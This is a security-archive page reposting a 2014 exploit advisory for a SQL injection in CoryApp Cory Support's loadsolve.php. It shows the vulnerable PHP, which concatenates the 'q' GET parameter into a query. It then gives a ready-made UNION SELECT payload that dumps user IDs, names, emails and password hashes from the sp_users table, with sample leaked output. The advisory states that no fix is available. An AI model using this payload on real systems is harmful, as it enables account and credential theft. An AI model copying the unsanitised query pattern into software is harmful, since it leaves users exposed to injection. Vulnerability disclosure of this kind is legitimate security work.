all things security

CoryApp Cory Support SQL Injection

CoryApp Cory Support SQL Injection
Posted Mar 2, 2014
Authored by Slotleet

CoryApp Cory Support suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | ad95fa886592c7a346f188206648354a

CoryApp Cory Support SQL Injection

Change Mirror Download
# Exploit Title: CoryApp (Cory Support) MySQL Injection Vulnerabilities
# Google Dork: None
# Date: 02,March 02,2014
# Exploit Author: Slotleet
# Vendor Homepage: http://coryapp.com
# Software Link:
http://coryapp.com/download/?file=6108cd096d1c940dcff7c300ba966934 (u
have to register)
# Version: None
# Tested on: Win,Linux
# Greet'z : I-HMX <3
==========================
Vulnerability Description
==========================

The Cory Support is prone to Get MySQL Injection Vulnerabilities

==========================
PoC-Exploit
==========================

// GET MySQL Injection with "q" Parameter in /loadsolve.php

1 : <?php
2 : require_once('includes/config.php');
3 : require_once('includes/database.php');
4 : $sql = "select Solutions, ProblemID from
".$table_prefix."problemsolutions where ProblemID = '".$_GET['q']."'
limit 3";
5 : $qry = mysql_query($sql);
6 : if(mysql_num_rows($qry)>0){
7 : while($rows = mysql_fetch_array($qry)){
8 : echo '<img src="'.$base_url.'imgs/re.gif"
style="margin-left:3%"/>'.stripslashes($rows['Solutions']).'<br>';
9 : }
10 : echo '<p style="margin:0px; padding:0px; margin-left:3%">. .
.</p><a href="'.$base_url.'view.php?id='.$_GET['q'].'"><small><i>View
more</i></small></a>';
11 : }
12 : else echo '<i>Not have answer !</i>';
13 : mysql_close();
14 : ?>

In line 3 coder failed to secure the "q" Parameter Against (MySQL
Injection) using q parameter

(1) Under "q" set your GET Parameter q to "999999.9' union all select
(select concat(0x27%2C0x7e%2Cunhex(Hex(cast(sp_users.UserID as
char)))%2C0x5e%2Cunhex(Hex(cast(sp_users.Name as
char)))%2C0x5e%2Cunhex(Hex(cast(sp_users.Email as
char)))%2C0x5e%2Cunhex(Hex(cast(sp_users.Password as
char)))%2C0x5e%2Cunhex(Hex(cast(sp_users.UserGroup as
char)))%2C0x27%2C0x7e) from `DATABASE NAME HERE`.sp_users limit 5%2C1)
%2C0x31303235343830303536 and 'x'%3D'x" (without quotation marks)



The "q" GET MySQL injection will be executed for the MySQL Server From
browser (You'll see the info like
'~6^admin^slotleet@gmail.com^e10adc3949ba59abbe56e057f20f883e^3'~)

==========================
Solution
==========================

Not Available.

==========================
Credits
==========================

Vulnerabilities found and advisory written by Slotleet.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close